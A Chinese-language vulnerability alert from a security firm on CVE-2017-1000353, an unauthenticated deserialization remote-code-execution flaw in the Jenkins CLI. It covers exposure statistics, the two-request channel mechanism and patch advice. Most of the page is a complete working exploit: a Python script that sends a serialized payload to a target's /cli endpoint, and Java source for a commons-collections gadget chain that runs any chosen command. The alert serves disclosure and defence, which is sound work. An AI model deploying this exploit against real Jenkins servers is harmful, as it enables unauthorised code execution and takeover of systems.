【漏洞预警】Jenkins未验证代码执行_CVE-2017-1000353

匿名者  2545天前

【漏洞预警】Jenkins未验证代码执行_CVE-2017-1000353

2017年5月1日Jenkins 2.32.1版本发现存在JAVA反序列化远程代码执行漏洞。利用该漏洞,攻击者者可以在未进行权限验证的情况下执行任意代码,提升系统权限控制系统。

Jenkins是一个开源软件项目,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能。根据白帽汇FOFA系统显示,全球有44402对外开放的Jenkins。其中中国有3312个对外开放。该项目在国内许多互联网公司、高校等均有使用。 

 1111.png

2222.png

Jenkins 全球分布情况(仅为分布情况,非漏洞影响情况) 

3333.png

4444.png

Jenkins 中国分布情况(仅为分布情况,非漏洞影响情况)

漏洞原理与危害

该漏洞允许远程攻击者发送构造好的序列化的Java SignedObject 对象到远程的Jenkins CLI,Jenkins Cli 将使用一个新的ObjectInputStream对象反序列化,进而可绕过黑名单保护机制,从而造成反序列化代码执行漏洞。触发该漏洞需要发送两次请求。

第一次请求启动一个双向通道会话,用于“download”来自服务器的数据,在HTTP头中“Session”用做channel标识符,“Side”则指定为“download/upload”。 

Jenkins1.jpg

 第二次请求发送双向通道的组件,第一次请求的请求是被阻塞的,直到发送第二次请求。该请求会匹配HTTP头中的“Session”的值,该值为UUID码。

Jenkins2.jpg

利用该漏洞,攻击者者可以在未进行权限验证的情况下执行任意代码,提升系统权限控制系统,可能对服务器造成破坏。

漏洞影响

暂无

漏洞POC

首先攻击者需要使用payload.jar 脚本创建一个序列化的代码执行payload。

以下脚本需要替换两处地方:

  • 修改url变量为要攻击的目标
  • 修改 “FILESER = open("jenkinspoc1.ser", "rb").read()” 中的jenkins_poc1.ser为自己的payload文件。

通过修改后的内容,执行后,你会看到以下的日志内容: 

5555.png

jenkins_poc1.py

import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib

proxies = {
#  'http': 'http://127.0.0.1:8090',
#  'https': 'http://127.0.0.1:8090',
}

URL='http://192.168.18.161:8080/cli'

PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTO = '\x00\x00\x00\x00'


FILE_SER = open("jenkins_poc1.ser", "rb").read()

def download(url, session):

    headers = {'Side' : 'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
    print r.text


def upload(url, session, data):

    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    r = requests.post(url,data=data,headers=headers,proxies=proxies)


def upload_chunked(url,session, data):

    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding']= None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'

    r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)


def null_payload():
    yield " "

def create_payload():
    payload = PREAMLE + PROTO + FILE_SER

    return payload

def create_payload_chunked():
    yield PREAMLE
    yield PROTO
    yield FILE_SER

def main():
    print "start"

    session = str(uuid.uuid4())

    t = threading.Thread(target=download, args=(URL, session))
    t.start()

    time.sleep(1)
    print "pwn"
    #upload(URL, session, create_payload())

    upload_chunked(URL, session, "asdf")

if __name__ == "__main__":
    main()

payload.jar

import java.io.ObjectOutputStream;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;

import net.sf.json.JSONArray;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;

public class Payload implements Serializable {

    private Serializable payload;

    public Payload(String cmd) throws Exception {

        this.payload = this.setup(cmd);

    }

    public Serializable setup(String cmd) throws Exception {
        final String[] execArgs = new String[] { cmd };

        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        execArgs), new ConstantTransformer(1) };

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }

        f2.setAccessible(true);
        Object[] array2 = (Object[]) f2.get(innimpl);

        Object node = array2[0];
        if (node == null) {
            node = array2[1];
        }

        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField(
                    "key");
        }

        keyField.setAccessible(true);
        keyField.set(node, entry);

        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        PublicKey publicKey = keyPair.getPublic();

        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject payload = new SignedObject(map, privateKey, signature);
        JSONArray array = new JSONArray();

        array.add("asdf");

        ListOrderedSet set = new ListOrderedSet();
        Field f1 = AbstractCollectionDecorator.class
                .getDeclaredField("collection");
        f1.setAccessible(true);
        f1.set(set, array);

        DummyComperator comp = new DummyComperator();
        ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
        csls.add(payload);

        CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
        CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();

        a1.add(set);
        Container c = new Container(csls);
        a1.add(c);

        a2.add(csls);
        a2.add(set);

        ReferenceMap flat3map = new ReferenceMap();
        flat3map.put(new Container(a1), "asdf");
        flat3map.put(new Container(a2), "asdf");

        return flat3map;
    }

    private Object writeReplace() throws ObjectStreamException {
        return this.payload;
    }

    static class Container implements Serializable {

        private Object o;

        public Container(Object o) {
            this.o = o;
        }

        private Object writeReplace() throws ObjectStreamException {
            return o;
        }

    }

    static class DummyComperator implements Comparator, Serializable {

        public int compare(Object arg0, Object arg1) {
            // TODO Auto-generated method stub
            return 0;
        }

        private Object writeReplace() throws ObjectStreamException {
            return null;
        }

    }

    public static void main(String args[]) throws Exception{

        if(args.length != 2){
            System.out.println("java -jar payload.jar outfile cmd");
            System.exit(0);
        }

        String cmd = args[1];
        FileOutputStream out = new FileOutputStream(args[0]);

        Payload pwn = new Payload(cmd);
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(pwn);
        oos.flush();
        out.flush();


    }

}

CVE编号

CVE-2017-1000353

修复建议

  1. Jenkins 2.54版本中已经启用了基于远程CLI,并使用了新的协议,并默认启用。并添加了基于SSH的CLI。强烈推荐升级jenkins,并禁用远程CLI。
  2. 安装相关防护软件或使用相关防护设备,政府,教育网站可安装G01。

白帽汇会持续对该漏洞进行跟进。后续可持续关注nosec平台。

参考

[1] https://blogs.securiteam.com/index.php/archives/3171

[2] https://jenkins.io/security/advisory/2017-04-26/#cli-login-command-allowed-impersonating-any-jenkins-user

北京白帽汇科技有限公司是一家专注于安全大数据、企业威胁情报,为企业提供尖端安全产品和服务的一家高科技互联网企业。 公司产品包括:EWSIS-企业web安全监控系统、ETSS-企业威胁感知系统、ANDERSEN-企业威胁感知平台(SAAS)、NOSEC-大数据安全协作平台。 可为企业提供:网站安全监控、企业资产收集、漏洞扫描、安全日志分析、员工邮箱泄露监测、企业威胁情报、应急响应、安全代维等解决方案和服务。

最新评论

昵称
邮箱
提交评论